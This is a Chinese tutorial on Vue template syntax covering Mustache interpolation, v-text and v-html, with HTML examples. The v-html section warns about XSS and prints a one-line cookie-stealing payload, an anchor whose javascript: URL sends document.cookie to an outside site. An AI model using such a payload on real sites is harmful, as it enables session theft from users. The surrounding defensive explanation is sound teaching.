Vue 模板语法
1.vue 和大多数后台语言，甚至是和art-template 这种前端模板库一样，都有一套，特定的语法来把数据渲染在html上。
Mustache -- 大胡子语法
1.大胡子的语法格式双大括号'{{}}',用在html标签之间，不能写在标签属性中
2.大胡子语法中可以使用js表达式，但只限于Vue实例作用域的和Vue沙盒白名单，白名单规定的一些全局变量例如Math和FDate。
3.表达式一些基本表达式，和一些三元运算例如：
'{{num + 1}}'、'{{status ? 'succeed' : 'failed'}}'
'{{changeTime()}}'、'{value.replace(/,/g,"")}'
4.但不支持流控制例如:'{{ if (ok) { return message } }}'
大胡子语法案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!--导入Vue cdn 的网址-->
<script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script>
</head>
<body>
<div id="app">
<p>{{msg}}</p>
<!--错误示范，大胡子语法不能用在标签的属性中-->
<!--<a href="{{msg}}">错误示范</a>-->
</div>
<script>
var vm = new Vue({
el:"#app",
data:{
msg:"将会被大胡子语法渲染"
}
})
</script>
</body>
</html>
v-text -- 模板渲染
1.v-text 能展示对应data中数据内容，也能在数据基础上做运算
2.v-text 会吧标,签中的内容替换
v-text -- 使用案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!--导入Vue cdn 的网址-->
<script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script>
</head>
<body>
<div id="app">
<p v-text="msg"></p>
<!--元素中间的内容不展示-->
<p v-text="msg">我被覆盖掉了</p>
<!--可以进行简单的计算-->
<p v-text="msg+1"></p>
</div>
<script>
var vm = new Vue({
el:"#app",
data:{
msg:"将会被v-text渲染"
}
})
</script>
</body>
</html>
-
展示效果
image.png
v-html -- html标签渲染
1.将标签语义化展示在页面上
2.容易产生xss攻击，请只对可信内容使用 HTML 插值，绝不要对用户提供的内容使用插值。
3.如何防止xss攻击:
3.1 前端过滤
3.2 后台转义(< > < >)
3.3 给cookie 加上属性 http例如:
<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>click</a>
v-html 案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<!--导入Vue cdn 的网址-->
<script src="https://cdn.jsdelivr.net/npm/vue@2.5.22/dist/vue.js"></script>
</head>
<body>
<div id="app">
<p v-html="msg"></p>
</div>
<script>
var vm = new Vue({
el:"#app",
data:{
msg:"<span style='color:red'>v-html渲染</span>"
}
})
</script>
</body>
</html>
三种将数据渲染到页面的方法总结
1.虽然上面三种方法都可以将数据渲染到页面上，但是工作中我最常用的是'{{}}'
2.'{{}}' 最被常用但是在加载的时候会出现闪烁问题(指令篇章v-cloak会讲解解决方法)，无法将html格式数据渲染，只能当字符串展示
3.'v-text' 虽然没有数据加载闪烁问题，但是会将标签中间的数据覆盖，也不能渲染html格式数据。
4.'v-html' 谨慎使用会出现xss攻击的风险
